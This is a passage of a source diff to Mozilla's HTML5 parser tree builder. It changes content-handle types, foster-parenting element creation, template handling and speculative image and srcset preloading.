nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, elementName->name, attributes);
} else {
+ elt = createElement(kNameSpaceID_XHTML, elementName->name, attributes, current->node);
appendElement(elt, current->node);
}
- nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elt, attributes->cloneAttributes(nullptr));
+ nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elt, clone);
push(node);
append(node);
node->retain();
@@ -3852,8 +4000,9 @@ nsHtml5TreeBuilder::appendToCurrentNodeAndPushFormattingElementMayFoster(nsHtml5
void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushElement(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, elementName->name, attributes);
- appendElement(elt, stack[currentPtr]->node);
+ nsIContentHandle* currentNode = stack[currentPtr]->node;
+ nsIContentHandle* elt = createElement(kNameSpaceID_XHTML, elementName->name, attributes, currentNode);
+ appendElement(elt, currentNode);
if (nsHtml5ElementName::ELT_TEMPLATE == elementName) {
elt = getDocumentFragmentForTemplate(elt);
}
@@ -3865,12 +4014,13 @@ void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
nsIAtom* popName = elementName->name;
- nsIContent** elt = createElement(kNameSpaceID_XHTML, popName, attributes);
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, popName, attributes);
} else {
+ elt = createElement(kNameSpaceID_XHTML, popName, attributes, current->node);
appendElement(elt, current->node);
}
nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elt, popName);
@@ -3881,18 +4031,19 @@ void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFosterMathML(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
nsIAtom* popName = elementName->name;
- nsIContent** elt = createElement(kNameSpaceID_MathML, popName, attributes);
+ bool markAsHtmlIntegrationPoint = false;
+ if (nsHtml5ElementName::ELT_ANNOTATION_XML == elementName && annotationXmlEncodingPermitsHtml(attributes)) {
+ markAsHtmlIntegrationPoint = true;
+ }
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_MathML, popName, attributes);
} else {
+ elt = createElement(kNameSpaceID_MathML, popName, attributes, current->node);
appendElement(elt, current->node);
}
- bool markAsHtmlIntegrationPoint = false;
- if (nsHtml5ElementName::ELT_ANNOTATION_XML == elementName && annotationXmlEncodingPermitsHtml(attributes)) {
- markAsHtmlIntegrationPoint = true;
- }
nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elt, popName, markAsHtmlIntegrationPoint);
push(node);
}
@@ -3911,12 +4062,13 @@ void
nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFosterSVG(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
nsIAtom* popName = elementName->camelCaseName;
- nsIContent** elt = createElement(kNameSpaceID_SVG, popName, attributes);
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_SVG, popName, attributes);
} else {
+ elt = createElement(kNameSpaceID_SVG, popName, attributes, current->node);
appendElement(elt, current->node);
}
nsHtml5StackNode* node = new nsHtml5StackNode(elementName, popName, elt);
@@ -3924,14 +4076,16 @@ nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFosterSVG(nsHtml5Element
}
void
-nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes, nsIContent** form)
+nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, elementName->name, attributes, fragment ? nullptr : form);
+ nsIContentHandle* elt;
+ nsIContentHandle* formOwner = !form || fragment || isTemplateContents() ? nullptr : form;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, elementName->name, attributes, formOwner);
} else {
+ elt = createElement(kNameSpaceID_XHTML, elementName->name, attributes, formOwner, current->node);
appendElement(elt, current->node);
}
nsHtml5StackNode* node = new nsHtml5StackNode(elementName, elt);
@@ -3939,14 +4093,16 @@ nsHtml5TreeBuilder::appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementNam
}
void
-nsHtml5TreeBuilder::appendVoidElementToCurrentMayFoster(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContent** form)
+nsHtml5TreeBuilder::appendVoidElementToCurrentMayFoster(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, name, attributes, fragment ? nullptr : form);
+ nsIContentHandle* elt;
+ nsIContentHandle* formOwner = !form || fragment || isTemplateContents() ? nullptr : form;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, name, attributes, formOwner);
} else {
+ elt = createElement(kNameSpaceID_XHTML, name, attributes, formOwner, current->node);
appendElement(elt, current->node);
}
elementPushed(kNameSpaceID_XHTML, name, elt);
@@ -3957,12 +4113,13 @@ void
nsHtml5TreeBuilder::appendVoidElementToCurrentMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
nsIAtom* popName = elementName->name;
- nsIContent** elt = createElement(kNameSpaceID_XHTML, popName, attributes);
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_XHTML, popName, attributes);
} else {
+ elt = createElement(kNameSpaceID_XHTML, popName, attributes, current->node);
appendElement(elt, current->node);
}
elementPushed(kNameSpaceID_XHTML, popName, elt);
@@ -3973,12 +4130,13 @@ void
nsHtml5TreeBuilder::appendVoidElementToCurrentMayFosterSVG(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
nsIAtom* popName = elementName->camelCaseName;
- nsIContent** elt = createElement(kNameSpaceID_SVG, popName, attributes);
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_SVG, popName, attributes);
} else {
+ elt = createElement(kNameSpaceID_SVG, popName, attributes, current->node);
appendElement(elt, current->node);
}
elementPushed(kNameSpaceID_SVG, popName, elt);
@@ -3989,12 +4147,13 @@ void
nsHtml5TreeBuilder::appendVoidElementToCurrentMayFosterMathML(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes)
{
nsIAtom* popName = elementName->name;
- nsIContent** elt = createElement(kNameSpaceID_MathML, popName, attributes);
+ nsIContentHandle* elt;
nsHtml5StackNode* current = stack[currentPtr];
if (current->isFosterParenting()) {
- insertIntoFosterParent(elt);
+ elt = createAndInsertFosterParentedElement(kNameSpaceID_MathML, popName, attributes);
} else {
+ elt = createElement(kNameSpaceID_MathML, popName, attributes, current->node);
appendElement(elt, current->node);
}
elementPushed(kNameSpaceID_MathML, popName, elt);
@@ -4002,11 +4161,11 @@ nsHtml5TreeBuilder::appendVoidElementToCurrentMayFosterMathML(nsHtml5ElementName
}
void
-nsHtml5TreeBuilder::appendVoidElementToCurrent(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContent** form)
+nsHtml5TreeBuilder::appendVoidElementToCurrent(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, name, attributes, fragment ? nullptr : form);
- nsHtml5StackNode* current = stack[currentPtr];
- appendElement(elt, current->node);
+ nsIContentHandle* currentNode = stack[currentPtr]->node;
+ nsIContentHandle* elt = createElement(kNameSpaceID_XHTML, name, attributes, !form || fragment || isTemplateContents() ? nullptr : form, currentNode);
+ appendElement(elt, currentNode);
elementPushed(kNameSpaceID_XHTML, name, elt);
elementPopped(kNameSpaceID_XHTML, name, elt);
}
@@ -4014,10 +4173,10 @@ nsHtml5TreeBuilder::appendVoidElementToCurrent(nsIAtom* name, nsHtml5HtmlAttribu
void
nsHtml5TreeBuilder::appendVoidFormToCurrent(nsHtml5HtmlAttributes* attributes)
{
- nsIContent** elt = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::form, attributes);
+ nsIContentHandle* currentNode = stack[currentPtr]->node;
+ nsIContentHandle* elt = createElement(kNameSpaceID_XHTML, nsHtml5Atoms::form, attributes, currentNode);
formPointer = elt;
- nsHtml5StackNode* current = stack[currentPtr];
- appendElement(elt, current->node);
+ appendElement(elt, currentNode);
elementPushed(kNameSpaceID_XHTML, nsHtml5Atoms::form, elt);
elementPopped(kNameSpaceID_XHTML, nsHtml5Atoms::form, elt);
}
@@ -4028,7 +4187,7 @@ nsHtml5TreeBuilder::requestSuspension()
tokenizer->requestSuspension();
}
-bool
+;bool
nsHtml5TreeBuilder::isInForeign()
{
return currentPtr >= 0 && stack[currentPtr]->ns != kNameSpaceID_XHTML;
@@ -4044,7 +4203,7 @@ nsHtml5TreeBuilder::isInForeignButNotHtmlOrMathTextIntegrationPoint()
}
void
-nsHtml5TreeBuilder::setFragmentContext(nsIAtom* context, int32_t ns, nsIContent** node, bool quirks)
+nsHtml5TreeBuilder::setFragmentContext(nsIAtom* context, int32_t ns, nsIContentHandle* node, bool quirks)
{
this->contextName = context;
this->contextNamespace = ns;
@@ -4053,7 +4212,7 @@ nsHtml5TreeBuilder::setFragmentContext(nsIAtom* context, int32_t ns, nsIContent*
this->quirks = quirks;
}
-nsIContent**
+nsIContentHandle*
nsHtml5TreeBuilder::currentNode()
{
return stack[currentPtr]->node;
@@ -4089,15 +4248,15 @@ nsHtml5TreeBuilder::flushCharacters()
charBufferLen = 0;
return;
}
- int32_t eltPos = findLastOrRoot(NS_HTML5TREE_BUILDER_TABLE);
- nsHtml5StackNode* node = stack[eltPos];
- nsIContent** elt = node->node;
- if (!eltPos) {
- appendCharacters(elt, charBuffer, 0, charBufferLen);
+ int32_t tablePos = findLastOrRoot(NS_HTML5TREE_BUILDER_TABLE);
+ int32_t templatePos = findLastOrRoot(NS_HTML5TREE_BUILDER_TEMPLATE);
+ if (templatePos >= tablePos) {
+ appendCharacters(stack[templatePos]->node, charBuffer, 0, charBufferLen);
charBufferLen = 0;
return;
}
- insertFosterParentedCharacters(charBuffer, 0, charBufferLen, elt, stack[eltPos - 1]->node);
+ nsHtml5StackNode* tableElt = stack[tablePos];
+ insertFosterParentedCharacters(charBuffer, 0, charBufferLen, tableElt->node, stack[tablePos - 1]->node);
charBufferLen = 0;
return;
}
@@ -4262,19 +4421,19 @@ nsHtml5TreeBuilder::findInArray(nsHtml5StackNode* node, jArray<nsHtml5StackNode*
return -1;
}
-nsIContent**
+nsIContentHandle*
nsHtml5TreeBuilder::getFormPointer()
{
return formPointer;
}
-nsIContent**
+nsIContentHandle*
nsHtml5TreeBuilder::getHeadPointer()
{
return headPointer;
}
-nsIContent**
+nsIContentHandle*
nsHtml5TreeBuilder::getDeepTreeSurrogateParent()
{
return deepTreeSurrogateParent;
diff --git a/parser/html/nsHtml5TreeBuilder.h b/parser/html/nsHtml5TreeBuilder.h
index e50ddd616..43cfe8349 100644
--- a/parser/html/nsHtml5TreeBuilder.h
+++ b/parser/html/nsHtml5TreeBuilder.h
@@ -28,14 +28,15 @@
* Please edit TreeBuilder.java instead and regenerate.
*/
-#ifndef nsHtml5TreeBuilder_h__
-#define nsHtml5TreeBuilder_h__
+#ifndef nsHtml5TreeBuilder_h
+#define nsHtml5TreeBuilder_h
+#include "nsContentUtils.h"
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsITimer.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -53,6 +54,8 @@
#include "nsHtml5PlainTextUtils.h"
#include "nsHtml5ViewSourceUtils.h"
#include "mozilla/Likely.h"
+#include "nsIContentHandle.h"
+#include "nsHtml5OplessBuilder.h"
class nsHtml5StreamParser;
@@ -69,7 +72,7 @@ class nsHtml5Portability;
class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
{
private:
- static PRUnichar REPLACEMENT_CHARACTER[];
+ static char16_t REPLACEMENT_CHARACTER[];
static staticJArray<const char*,int32_t> QUIRKY_PUBLIC_IDS;
int32_t mode;
int32_t originalMode;
@@ -82,18 +85,18 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
bool fragment;
nsIAtom* contextName;
int32_t contextNamespace;
- nsIContent** contextNode;
+ nsIContentHandle* contextNode;
autoJArray<int32_t,int32_t> templateModeStack;
int32_t templateModePtr;
autoJArray<nsHtml5StackNode*,int32_t> stack;
int32_t currentPtr;
autoJArray<nsHtml5StackNode*,int32_t> listOfActiveFormattingElements;
int32_t listPtr;
- nsIContent** formPointer;
- nsIContent** headPointer;
- nsIContent** deepTreeSurrogateParent;
+ nsIContentHandle* formPointer;
+ nsIContentHandle* headPointer;
+ nsIContentHandle* deepTreeSurrogateParent;
protected:
- autoJArray<PRUnichar,int32_t> charBuffer;
+ autoJArray<char16_t,int32_t> charBuffer;
int32_t charBufferLen;
private:
bool quirks;
@@ -101,17 +104,19 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
public:
void startTokenization(nsHtml5Tokenizer* self);
void doctype(nsIAtom* name, nsString* publicIdentifier, nsString* systemIdentifier, bool forceQuirks);
- void comment(PRUnichar* buf, int32_t start, int32_t length);
- void characters(const PRUnichar* buf, int32_t start, int32_t length);
+ void comment(char16_t* buf, int32_t start, int32_t length);
+ void characters(const char16_t* buf, int32_t start, int32_t length);
void zeroOriginatingReplacementCharacter();
void eof();
void endTokenization();
void startTag(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes, bool selfClosing);
private:
+ void startTagTitleInHead(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
void startTagGenericRawText(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
void startTagScriptInHead(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
void startTagTemplateInHead(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
bool isTemplateContents();
+ bool isTemplateModeStackEmpty();
bool isSpecialParentInForeign(nsHtml5StackNode* stackNode);
public:
static nsString* extractCharsetFromContent(nsString* attributeValue);
@@ -120,7 +125,7 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
public:
void endTag(nsHtml5ElementName* elementName);
private:
- void endTagTemplateInHead(nsIAtom* name);
+ void endTagTemplateInHead();
int32_t findLastInTableScopeOrRootTemplateTbodyTheadTfoot();
int32_t findLast(nsIAtom* name);
int32_t findLastInTableScope(nsIAtom* name);
@@ -153,7 +158,7 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
void clearTheListOfActiveFormattingElementsUpToTheLastMarker();
inline bool isCurrent(nsIAtom* name)
{
- return name == stack[currentPtr]->name;
+ return stack[currentPtr]->ns == kNameSpaceID_XHTML && name == stack[currentPtr]->name;
}
void removeFromStack(int32_t pos);
@@ -171,7 +176,9 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
void addAttributesToHtml(nsHtml5HtmlAttributes* attributes);
void pushHeadPointerOntoStack();
void reconstructTheActiveFormattingElements();
- void insertIntoFosterParent(nsIContent** child);
+ void insertIntoFosterParent(nsIContentHandle* child);
+ nsIContentHandle* createAndInsertFosterParentedElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes);
+ nsIContentHandle* createAndInsertFosterParentedElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form);
bool isInStack(nsHtml5StackNode* node);
void popTemplateMode();
void pop();
@@ -189,36 +196,37 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
void appendToCurrentNodeAndPushElementMayFosterMathML(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
bool annotationXmlEncodingPermitsHtml(nsHtml5HtmlAttributes* attributes);
void appendToCurrentNodeAndPushElementMayFosterSVG(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
- void appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes, nsIContent** form);
- void appendVoidElementToCurrentMayFoster(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContent** form);
+ void appendToCurrentNodeAndPushElementMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form);
+ void appendVoidElementToCurrentMayFoster(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form);
void appendVoidElementToCurrentMayFoster(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
void appendVoidElementToCurrentMayFosterSVG(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
void appendVoidElementToCurrentMayFosterMathML(nsHtml5ElementName* elementName, nsHtml5HtmlAttributes* attributes);
- void appendVoidElementToCurrent(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContent** form);
+ void appendVoidElementToCurrent(nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form);
void appendVoidFormToCurrent(nsHtml5HtmlAttributes* attributes);
protected:
- void accumulateCharacters(const PRUnichar* buf, int32_t start, int32_t length);
+ void accumulateCharacters(const char16_t* buf, int32_t start, int32_t length);
void requestSuspension();
- nsIContent** createElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes);
- nsIContent** createElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContent** form);
- nsIContent** createHtmlElementSetAsRoot(nsHtml5HtmlAttributes* attributes);
- void detachFromParent(nsIContent** element);
- bool hasChildren(nsIContent** element);
- void appendElement(nsIContent** child, nsIContent** newParent);
- void appendChildrenToNewParent(nsIContent** oldParent, nsIContent** newParent);
- void insertFosterParentedChild(nsIContent** child, nsIContent** table, nsIContent** stackParent);
- void insertFosterParentedCharacters(PRUnichar* buf, int32_t start, int32_t length, nsIContent** table, nsIContent** stackParent);
- void appendCharacters(nsIContent** parent, PRUnichar* buf, int32_t start, int32_t length);
- void appendIsindexPrompt(nsIContent** parent);
- void appendComment(nsIContent** parent, PRUnichar* buf, int32_t start, int32_t length);
- void appendCommentToDocument(PRUnichar* buf, int32_t start, int32_t length);
- void addAttributesToElement(nsIContent** element, nsHtml5HtmlAttributes* attributes);
- void markMalformedIfScript(nsIContent** elt);
+ nsIContentHandle* createElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* intendedParent);
+ nsIContentHandle* createElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form, nsIContentHandle* intendedParent);
+ nsIContentHandle* createHtmlElementSetAsRoot(nsHtml5HtmlAttributes* attributes);
+ void detachFromParent(nsIContentHandle* element);
+ bool hasChildren(nsIContentHandle* element);
+ void appendElement(nsIContentHandle* child, nsIContentHandle* newParent);
+ void appendChildrenToNewParent(nsIContentHandle* oldParent, nsIContentHandle* newParent);
+ void insertFosterParentedChild(nsIContentHandle* child, nsIContentHandle* table, nsIContentHandle* stackParent);
+ nsIContentHandle* createAndInsertFosterParentedElement(int32_t ns, nsIAtom* name, nsHtml5HtmlAttributes* attributes, nsIContentHandle* form, nsIContentHandle* table, nsIContentHandle* stackParent);
+ ;void insertFosterParentedCharacters(char16_t* buf, int32_t start, int32_t length, nsIContentHandle* table, nsIContentHandle* stackParent);
+ void appendCharacters(nsIContentHandle* parent, char16_t* buf, int32_t start, int32_t length);
+ void appendIsindexPrompt(nsIContentHandle* parent);
+ void appendComment(nsIContentHandle* parent, char16_t* buf, int32_t start, int32_t length);
+ void appendCommentToDocument(char16_t* buf, int32_t start, int32_t length);
+ void addAttributesToElement(nsIContentHandle* element, nsHtml5HtmlAttributes* attributes);
+ void markMalformedIfScript(nsIContentHandle* elt);
void start(bool fragmentMode);
void end();
void appendDoctypeToDocument(nsIAtom* name, nsString* publicIdentifier, nsString* systemIdentifier);
- void elementPushed(int32_t ns, nsIAtom* name, nsIContent** node);
- void elementPopped(int32_t ns, nsIAtom* name, nsIContent** node);
+ void elementPushed(int32_t ns, nsIAtom* name, nsIContentHandle* node);
+ void elementPopped(int32_t ns, nsIAtom* name, nsIContentHandle* node);
public:
inline bool cdataSectionAllowed()
{
@@ -229,9 +237,9 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
bool isInForeign();
bool isInForeignButNotHtmlOrMathTextIntegrationPoint();
public:
- void setFragmentContext(nsIAtom* context, int32_t ns, nsIContent** node, bool quirks);
+ void setFragmentContext(nsIAtom* context, int32_t ns, nsIContentHandle* node, bool quirks);
protected:
- nsIContent** currentNode();
+ nsIContentHandle* currentNode();
public:
bool isScriptingEnabled();
void setScriptingEnabled(bool scriptingEnabled);
@@ -246,9 +254,9 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
private:
int32_t findInArray(nsHtml5StackNode* node, jArray<nsHtml5StackNode*,int32_t> arr);
public:
- nsIContent** getFormPointer();
- nsIContent** getHeadPointer();
- nsIContent** getDeepTreeSurrogateParent();
+ nsIContentHandle* getFormPointer();
+ nsIContentHandle* getHeadPointer();
+ nsIContentHandle* getDeepTreeSurrogateParent();
jArray<nsHtml5StackNode*,int32_t> getListOfActiveFormattingElements();
jArray<nsHtml5StackNode*,int32_t> getStack();
jArray<int32_t,int32_t> getTemplateModeStack();
@@ -318,8 +326,7 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
#define NS_HTML5TREE_BUILDER_DIV_OR_BLOCKQUOTE_OR_CENTER_OR_MENU 50
#define NS_HTML5TREE_BUILDER_ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY 51
#define NS_HTML5TREE_BUILDER_RUBY_OR_SPAN_OR_SUB_OR_SUP_OR_VAR 52
-#define NS_HTML5TREE_BUILDER_RT_OR_RP 53
-#define NS_HTML5TREE_BUILDER_COMMAND 54
+#define NS_HTML5TREE_BUILDER_RB_OR_RTC 53
#define NS_HTML5TREE_BUILDER_PARAM_OR_SOURCE_OR_TRACK 55
#define NS_HTML5TREE_BUILDER_MGLYPH_OR_MALIGNMARK 56
#define NS_HTML5TREE_BUILDER_MI_MO_MN_MS_MTEXT 57
@@ -334,6 +341,7 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
#define NS_HTML5TREE_BUILDER_MENUITEM 66
#define NS_HTML5TREE_BUILDER_TEMPLATE 67
#define NS_HTML5TREE_BUILDER_IMG 68
+#define NS_HTML5TREE_BUILDER_RT_OR_RP 69
#define NS_HTML5TREE_BUILDER_IN_ROW 0
#define NS_HTML5TREE_BUILDER_IN_TABLE_BODY 1
#define NS_HTML5TREE_BUILDER_IN_TABLE 2
@@ -356,7 +364,7 @@ class nsHtml5TreeBuilder : public nsAHtml5TreeBuilderState
#define NS_HTML5TREE_BUILDER_AFTER_AFTER_BODY 19
#define NS_HTML5TREE_BUILDER_AFTER_AFTER_FRAMESET 20
#define NS_HTML5TREE_BUILDER_TEXT 21
-#define NS_HTML5TREE_BUILDER_TEMPLATE_CONTENTS 22
+#define NS_HTML5TREE_BUILDER_IN_TEMPLATE 22
#define NS_HTML5TREE_BUILDER_CHARSET_INITIAL 0
#define NS_HTML5TREE_BUILDER_CHARSET_C 1
#define NS_HTML5TREE_BUILDER_CHARSET_H 2
diff --git a/parser/html/nsHtml5TreeBuilderCppSupplement.h b/parser/html/nsHtml5TreeBuilderCppSupplement.h
index 8f941e102..9e497c1f1 100644
--- a/parser/html/nsHtml5TreeBuilderCppSupplement.h
+++ b/parser/html/nsHtml5TreeBuilderCppSupplement.h
@@ -6,22 +6,45 @@
#include "nsError.h"
#include "nsIPresShell.h"
-#include "nsEvent.h"
-#include "nsGUIEvent.h"
-#include "nsEventDispatcher.h"
#include "nsNodeUtils.h"
#include "nsIFrame.h"
#include "mozilla/Likely.h"
class nsPresContext;
+nsHtml5TreeBuilder::nsHtml5TreeBuilder(nsHtml5OplessBuilder* aBuilder)
+ : scriptingEnabled(false)
+ , fragment(false)
+ , contextName(nullptr)
+ , contextNamespace(kNameSpaceID_None)
+ , contextNode(nullptr)
+ , formPointer(nullptr)
+ , headPointer(nullptr)
+ , mBuilder(aBuilder)
+ , mViewSource(nullptr)
+ , mOpSink(nullptr)
+ , mHandles(nullptr)
+ , mHandlesUsed(0)
+ , mSpeculativeLoadStage(nullptr)
+ , mCurrentHtmlScriptIsAsyncOrDefer(false)
+ , mPreventScriptExecution(false)
+#ifdef DEBUG
+ , mActive(false)
+#endif
+{
+ MOZ_COUNT_CTOR(nsHtml5TreeBuilder);
+}
+
nsHtml5TreeBuilder::nsHtml5TreeBuilder(nsAHtml5TreeOpSink* aOpSink,
nsHtml5TreeOpStage* aStage)
: scriptingEnabled(false)
, fragment(false)
+ , contextName(nullptr)
+ , contextNamespace(kNameSpaceID_None)
, contextNode(nullptr)
, formPointer(nullptr)
, headPointer(nullptr)
+ , mBuilder(nullptr)
, mViewSource(nullptr)
, mOpSink(aOpSink)
, mHandles(new nsIContent*[NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH])
@@ -43,8 +66,10 @@ nsHtml5TreeBuilder::~nsHtml5TreeBuilder()
mOpQueue.Clear();
}
-nsIContent**
-nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5HtmlAttributes* aAttributes)
+nsIContentHandle*
+nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName,
+ nsHtml5HtmlAttributes* aAttributes,
+ nsIContentHandle* aIntendedParent)
{
NS_PRECONDITION(aAttributes, "Got null attributes.");
NS_PRECONDITION(aName, "Got null name.");
@@ -53,30 +78,80 @@ nsHtml5TreeBuilder::createElement(int32_t aNamespace, nsIAtom* aName, nsHtml5Htm
aNamespace == kNameSpaceID_MathML,
"Bogus namespace.");
- nsIContent** content = AllocateContentHandle();
+ if (mBuilder) {
+ nsCOMPtr<nsIAtom> name = nsHtml5TreeOperation::Reget(aName);
+
+ nsIContent* intendedParent = aIntendedParent ?
+ static_cast<nsIContent*>(aIntendedParent) : nullptr;
+
+ // intendedParent == nullptr is a special case where the
+ // intended parent is the document.
+ nsNodeInfoManager* nodeInfoManager = intendedParent ?
+ intendedParent->OwnerDoc()->NodeInfoManager() :
+ mBuilder->GetNodeInfoManager();
+
+ nsIContent* elem =
+ nsHtml5TreeOperation::CreateElement(aNamespace,
+ name,
+ aAttributes,
+ mozilla::dom::FROM_PARSER_FRAGMENT,
+ nodeInfoManager,
+ mBuilder);
+ if (MOZ_UNLIKELY(aAttributes != tokenizer->GetAttributes() &&
+ aAttributes != nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES)) {
+ delete aAttributes;
+ }
+ return elem;
+ }
+
+ nsIContentHandle* content = AllocateContentHandle();
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(aNamespace,
aName,
aAttributes,
content,
+ aIntendedParent,
!!mSpeculativeLoadStage);
// mSpeculativeLoadStage is non-null only in the off-the-main-thread
// tree builder, which handles the network stream
-
+
// Start wall of code for speculative loading and line numbers
-
+
if (mSpeculativeLoadStage) {
switch (aNamespace) {
case kNameSpaceID_XHTML:
if (nsHtml5Atoms::img == aName) {
nsString* url = aAttributes->getValue(nsHtml5AttributeName::ATTR_SRC);
- if (url) {
- nsString* crossOrigin =
- aAttributes->getValue(nsHtml5AttributeName::ATTR_CROSSORIGIN);
+ nsString* srcset =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_SRCSET);
+ nsString* crossOrigin =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_CROSSORIGIN);
+ nsString* sizes =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_SIZES);
+ mSpeculativeLoadQueue.AppendElement()->
+ InitImage(url ? *url : NullString(),
+ crossOrigin ? *crossOrigin : NullString(),
+ srcset ? *srcset : NullString(),
+ sizes ? *sizes : NullString());
+ } else if (nsHtml5Atoms::source == aName) {
+ nsString* srcset =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_SRCSET);
+ // Sources without srcset cannot be selected. The source could also be
+ // for a media element, but in that context doesn't use srcset. See
+ // comments in nsHtml5SpeculativeLoad.h about <picture> preloading
+ if (srcset) {
+ nsString* sizes =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_SIZES);
+ nsString* type =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_TYPE);
+ nsString* media =
+ aAttributes->getValue(nsHtml5AttributeName::ATTR_MEDIA);
mSpeculativeLoadQueue.AppendElement()->
